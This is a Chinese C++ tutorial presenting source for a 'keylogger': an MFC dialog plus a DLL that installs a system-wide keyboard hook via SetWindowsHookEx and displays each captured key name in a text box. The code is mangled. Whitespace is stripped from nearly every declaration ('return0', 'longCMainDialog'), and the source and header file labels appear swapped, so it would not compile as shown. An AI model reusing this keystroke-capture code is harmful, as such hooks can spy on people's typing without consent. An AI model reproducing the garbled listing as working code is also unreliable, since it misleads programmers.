C++键盘记录程序代码
本文实例讲述了C++键盘记录程序。分享给大家供大家参考。具体分析如下:
主程序如下:
就是基于对话框的框架,加个个OnHookKey函数,
longCMainDialog::OnHookKey(WPARAMwParam,LPARAMlParam) //处理自定义消息 { charszKey[80]={0}; GetKeyNameText(lParam,szKey,80); CStringstrItem; strItem.Format("按键:%s\r\n",szKey); CStringstrEdit; GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); ::MessageBeep(MB_OK); return0; }
在初始化时,调用DLL中的:
SetKeyHook(TRUE,0,m_hWnd)
在析构时,调用DLL中的:
SetKeyHook(FALSE);
.cpp源文件代码:
#include<afxwin.h> #define HM_KEYWM_USER+100 //CMyApp classCMyApp:publicCWinApp { public: BOOLInitInstance(); }; //CMyDialog classCMainDialog:publicCDialog { public: CMainDialog(CWnd*pParentWnd=NULL); protected: virtualBOOLOnInitDialog(); afx_msgvoidOnCancel(); afx_msglongOnHookKey(WPARAMwParam,LPARAMlParam); //处理自定义消息的声明 DECLARE_MESSAGE_MAP() };
.h头文件代码:
#include"resource.h" #include"KeyHookApp.h" #include"KeyHook.h" #pragmacomment(lib,"KeyHook.lib") CMyApptheApp; BOOLCMyApp::InitInstance() { CMainDialogdlg; m_pMainWnd=&dlg; //给m_pMainWnd主窗口 dlg.DoModal(); returnFALSE;//不进入消息循环 } BEGIN_MESSAGE_MAP(CMainDialog,CDialog) ON_MESSAGE(HM_KEY,OnHookKey)//自定义消息 END_MESSAGE_MAP() //CMainDialog CMainDialog::CMainDialog(CWnd*pParentWnd):CDialog(IDD_MAIN,pParentWnd) { } BOOLCMainDialog::OnInitDialog() { CDialog::OnInitDialog(); if(!SetKeyHook(TRUE,0,m_hWnd)) { MessageBox("安装钩子失败"); } returnTRUE; } //处理关闭消息 voidCMainDialog::OnCancel() { OutputDebugString("oncancel"); SetKeyHook(FALSE); CDialog::OnCancel(); return; } longCMainDialog::OnHookKey(WPARAMwParam,LPARAMlParam) //处理自定义消息 { charszKey[80]={0}; GetKeyNameText(lParam,szKey,80); CStringstrItem; strItem.Format("按键:%s\r\n",szKey); CStringstrEdit; GetDlgItem(IDC_KEYMSG)->GetWindowText(strEdit); GetDlgItem(IDC_KEYMSG)->SetWindowTextA(strEdit+strItem); ::MessageBeep(MB_OK); return0; }
dll的代码:
.cpp源文件代码:
//KeyHook.cpp:定义DLL应用程序的导出函数。 // #include"stdafx.h" #include"KeyHook.h" //共享数据段 #pragmadata_seg("YCIShared") HWNDg_hWndCaller=NULL;//保存主窗口句柄 HHOOKg_hHook=NULL;//保存钩子句柄 #pragmadata_seg() //这是导出变量的一个示例 KEYHOOK_APIintnKeyHook=0; //这是导出函数的一个示例。 KEYHOOK_APIintfnKeyHook(void) { return42; } //通过内存得到模块句柄的帮助函数 HMODULEWINAPIModuleFromAddress(LPVOIDpv) { MEMORY_BASIC_INFORMATION mbi; if(0!=::VirtualQuery(pv,&mbi,sizeof(MEMORY_BASIC_INFORMATION))) { return(HMODULE)mbi.AllocationBase; } else { returnNULL; } } //钩子处理函数 LRESULTCALLBACKKeyboardProc( __in intcode, __in WPARAMwParam, __in LPARAMlParam ) { if(code<0||code==HC_NOREM) { return::CallNextHookEx(g_hHook,code,wParam,lParam); } //如果重复消息,交给下一链 if(lParam&0x40000000) { return::CallNextHookEx(g_hHook,code,wParam,lParam); } //通知主窗口 ::PostMessageA(g_hWndCaller,HM_KEY,wParam,lParam); return::CallNextHookEx(g_hHook,code,wParam,lParam); } //安装和卸载钩子函数 BOOLKEYHOOK_APIWINAPISetKeyHook(BOOLbInstall,DWORDdwThreadId,HWNDhWndCaller) { BOOLbRet=TRUE; g_hWndCaller=hWndCaller; if(bInstall)//安装钩子 { g_hHook=::SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,ModuleFromAddress(KeyboardProc),dwThreadId); bRet=(g_hHook!=NULL); } else//卸载钩子 { ::UnhookWindowsHookEx(g_hHook); g_hHook=NULL; } returnbRet; } //这是已导出类的构造函数。 //有关类定义的信息,请参阅KeyHook.h CKeyHook::CKeyHook() { return; }
.h头文件代码:
//下列ifdef块是创建使从DLL导出更简单的 //宏的标准方法。此DLL中的所有文件都是用命令行上定义的KEYHOOK_EXPORTS //符号编译的。在使用此DLL的 //任何其他项目上不应定义此符号。这样,源文件中包含此文件的任何其他项目都会将 //KEYHOOK_API函数视为是从DLL导入的,而此DLL则将用此宏定义的 //符号视为是被导出的。 #ifdefKEYHOOK_EXPORTS #defineKEYHOOK_API__declspec(dllexport) #else #defineKEYHOOK_API__declspec(dllimport) #endif #define HM_KEYWM_USER+100 //此类是从KeyHook.dll导出的 classKEYHOOK_APICKeyHook{ public: CKeyHook(void); //TODO:在此添加您的方法。 }; externKEYHOOK_APIintnKeyHook; KEYHOOK_APIintfnKeyHook(void); //声明要导出的 BOOLKEYHOOK_APIWINAPISetKeyHook(BOOLbInstall,DWORDdwThreadId=0,HWNDhWndCaller=NULL);
.def代码:
EXPORTS SetKeyHook SECTIONS YCIShared ReadWriteShared
希望本文所述对大家的C++程序设计有所帮助。